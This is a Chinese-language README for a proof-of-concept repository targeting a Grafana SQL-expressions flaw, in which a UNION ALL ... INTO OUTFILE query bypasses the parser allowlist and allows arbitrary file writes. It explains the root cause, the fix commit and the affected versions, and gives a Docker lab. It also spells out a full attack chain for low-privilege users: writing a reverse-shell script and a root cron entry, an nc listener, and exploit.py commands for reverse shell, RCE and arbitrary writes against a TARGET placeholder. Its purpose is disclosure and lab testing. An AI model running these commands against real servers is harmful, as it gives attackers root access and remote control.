CVSS 9.1 严重 | 任意文件写入 | 远程代码执行
https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56
Grafana 的 SQL 表达式功能(sqlExpressions 开关)使用进程内 SQL 引擎(dolthub/go-mysql-server),其 AST 白名单存在缺陷。SetOp 节点(UNION ALL)能通过验证,且其 walkSubtree() 不会遍历 Into 子节点——从而允许 INTO OUTFILE 以 Grafana 进程用户身份向服务器文件系统写入任意文件。
任何已认证用户(Viewer 角色或更高权限)均可通过基于 cron 的反向 Shell 将其升级为完全远程代码执行。
需要启用 sqlExpressions 功能开关。
pkg/expr/sql/ 中存在两个叠加缺陷:
parser_allow.go:allowedNode() 使用命名返回值 b = true。*sqlparser.SetOp 分支返回 true(允许),且 SetOp.walkSubtree() 不会遍历 Into 子节点。这意味着 UNION ALL ... INTO OUTFILE 可完全绕过白名单。
db.go:创建 SQL 引擎上下文时未使用 WithDisableFileWrites(true),因此 INTO OUTFILE 会写入磁盘。
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'
单个 (SELECT ...) INTO OUTFILE 会产生 ParenSelect 节点,该节点会被拦截。两个或更多 SELECT 部分通过 UNION ALL 连接后会产生 SetOp 节点,从而绕过检查。
1. 认证(Viewer 角色即可)
2. 向 /api/ds/query 发送 POST 请求,使用 __expr__ 数据源,类型为 "sql"
3. UNION ALL INTO OUTFILE 将反向 Shell 脚本写入 /tmp/
4. 第二次写入将 cron 条目放入 /etc/crontabs/root
5. Cron 在 60 秒内触发 -> 以 root 身份获得反向 Shell
cd lab/
docker compose up -d
# 等待 Grafana 就绪(约 15 秒)
Grafana 运行在 http://localhost:3333,凭据为 admin:admin。
终端 1 — 监听器:
nc -lvnp 4444
终端 2 — 漏洞利用:
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444
反向 Shell 将在 60 秒内建立。
# 检查目标是否存在漏洞(不进行写入)
python3 exploit.py -t http://TARGET:3000 --check
# 写入任意文件
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"
# 将本地文件写入目标
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt
# 通过数据源配置实现远程代码执行(无需 cron)
python3 exploit.py -t http://TARGET:3000 --rce
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh
若需在之前运行后再次执行漏洞利用,请先进行清理——INTO OUTFILE 无法覆盖已存在的文件。
提交 0e5d9e01ef31f072fd41626cd744699374e70127(PR #121514):
parser_allow.go:case *sqlparser.SetOp: return v.GetInto() == nilparser_allow.go:case *sqlparser.Into: return v == nildb.go:mysql.WithDisableFileWrites(true).
├── README.md
├── analysis.md # 完整根本原因分析
├── lab/
│ ├── docker-compose.yml # Grafana 12.4.0 实验环境(已验证)
│ ├── Dockerfile # 支持 cron 的自定义镜像
│ ├── entrypoint.sh # 启动 crond + Grafana
│ └── setup.sh # 自动配置脚本
└── poc/
├── exploit.py # 包含远程代码执行的完整 PoC
└── cvss-justification.md
仅限授权的安全研究和受控实验环境测试使用。未经明确许可,请勿对任何系统使用。
| 版本范围 | 受影响版本 | 已修复版本 |
|---|
| 11.6.x | 11.6.0 – 11.6.13 | 11.6.14 |
| 12.0.x – 12.1.x | 12.0.0 – 12.1.9 | 12.1.10 |
| 12.2.x | 12.2.0 – 12.2.7 | 12.2.8 |
| 12.3.x | 12.3.0 – 12.3.5 | 12.3.6 |
| 12.4.x | 12.4.0 – 12.4.1 | 12.4.2 |